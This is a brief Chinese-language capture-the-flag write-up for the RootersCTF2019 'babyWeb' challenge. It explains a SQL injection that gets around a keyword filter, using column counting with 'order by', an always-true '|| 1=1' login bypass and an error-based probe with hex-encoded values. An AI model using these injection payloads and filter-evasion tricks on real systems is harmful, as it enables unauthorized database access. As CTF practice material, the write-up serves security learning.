[RootersCTF2019]babyWeb
看页面提示是个sql注入,提示过滤了union、
sleep、
‘、
“、
or、
-、
benchmark
我们先测试字段数,当字段为2时,页面正常回显,为3是则发生报错
1 | 1 order by 2 |
非预期
我们使用万能密码登录
1 | 1 || 1=1 limit 0,1 |
预期解
我们先爆库,由于引号被过滤了,我们用16进制代替
1 | 1 || update(1,0x3a,1) |
接下来就慢慢构造
1 | 爆库:sql_injection |
最后在sql_injection.users
的uniqueid
字段里找到一串数字
我们在主页输入得到flag